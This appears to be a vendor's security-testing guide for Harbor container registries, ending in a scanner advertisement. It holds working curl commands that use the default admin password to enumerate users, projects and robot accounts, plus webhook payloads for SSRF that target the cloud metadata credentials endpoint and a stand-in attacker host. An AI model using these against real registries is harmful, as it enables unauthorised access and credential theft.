Harbor is the most widely deployed open-source container registry with enterprise features including project isolation, robot accounts, vulnerability scanning, and content trust. Security weaknesses include: the default admin password Harbor12345 remaining unchanged in many deployments, robot account tokens stored with long or unlimited TTL granting persistent pull/push access, public projects misconfigured as anonymous-accessible exposing proprietary images, the Harbor REST API returning user enumeration data in error messages, webhook SSRF via attacker-controlled callback URLs, and content trust policies bypassable through tag mutation when Notary is not enforced. This guide covers systematic Harbor security assessment.
# Harbor default credentials: admin / Harbor12345
# Test default password via REST API
curl -s -u admin:Harbor12345 \
"https://harbor.example.com/api/v2.0/users" 2>/dev/null | \
python3 -m json.tool | head -20
# If returns user list = default credentials not changed
# Enumerate all projects
curl -s -u admin:Harbor12345 \
"https://harbor.example.com/api/v2.0/projects?page_size=100" 2>/dev/null | \
python3 -c "
import json,sys
try:
projects = json.load(sys.stdin)
for p in projects:
public = p.get('metadata',{}).get('public','false')
print(f\"Project: {p.get('name','?')} public={public} repos={p.get('repo_count',0)}\")
except:
print('Auth failed or unexpected format')
"
# List all robot accounts (contains token metadata)
curl -s -u admin:Harbor12345 \
"https://harbor.example.com/api/v2.0/robots?page_size=100" 2>/dev/null | \
python3 -c "
import json,sys
robots = json.load(sys.stdin)
for r in robots:
print(f\"Robot: {r.get('name','?')} disabled={r.get('disable',False)}\")
print(f\" ExpiresAt: {r.get('expires_at','never')}\")
print(f\" Permissions: {r.get('permissions','?')}\")
"
# Harbor webhooks send HTTP POST to a configured URL on registry events
# If you can create/update webhooks and the Harbor server has internal network access,
# this enables SSRF from the Harbor server context
# Create a webhook pointing to internal metadata service (requires project-level admin)
curl -s -X POST \
-u attacker:Password123 \
"https://harbor.example.com/api/v2.0/projects/my-project/webhook/policies" \
-H "Content-Type: application/json" \
-d '{
"name": "probe",
"event_types": ["PUSH_ARTIFACT"],
"targets": [{
"type": "http",
"address": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"skip_cert_verify": true
}]
}' 2>/dev/null | python3 -m json.tool | head -10
# Trigger the webhook by pushing any image to the project
docker push harbor.example.com/my-project/test:probe 2>/dev/null | tail -3
# Harbor POSTs the push event to the metadata service URL
# Monitor your callback server for the response
# Also test Slack-compatible webhook type
curl -s -X POST \
-u attacker:Password123 \
"https://harbor.example.com/api/v2.0/projects/my-project/webhook/policies" \
-H "Content-Type: application/json" \
-d '{
"name": "slack-probe",
"event_types": ["PUSH_ARTIFACT"],
"targets": [{"type": "slack", "address": "http://attacker.example.com/webhook"}]
}' 2>/dev/null | head -3
Harbor12345 in place| Security Test | Method | Risk |
|---|---|---|
| Default admin password Harbor12345 | curl -u admin:Harbor12345 /api/v2.0/users — returns user list | Critical |
| Robot account with unlimited TTL | GET /api/v2.0/robots — check expires_at field | High |
| Webhook SSRF to metadata service | Create webhook with http://169.254.169.254/... as target URL | High |
| Public project exposing private images | GET /api/v2.0/projects — check metadata.public="true" | High |
| User enumeration via API error messages | POST /api/v2.0/users/login with invalid user — distinct error response | Medium |
| Replication rule credential exposure | GET /api/v2.0/registries — may return credentials for remote registries | High |
Ironimo tests Harbor container registries for default credential usage, robot account token theft and lifetime misconfiguration, project isolation bypass for cross-project image access, webhook SSRF to cloud metadata services, registry replication credential exposure, content trust enforcement bypass, and API user enumeration vulnerabilities.
Start free scan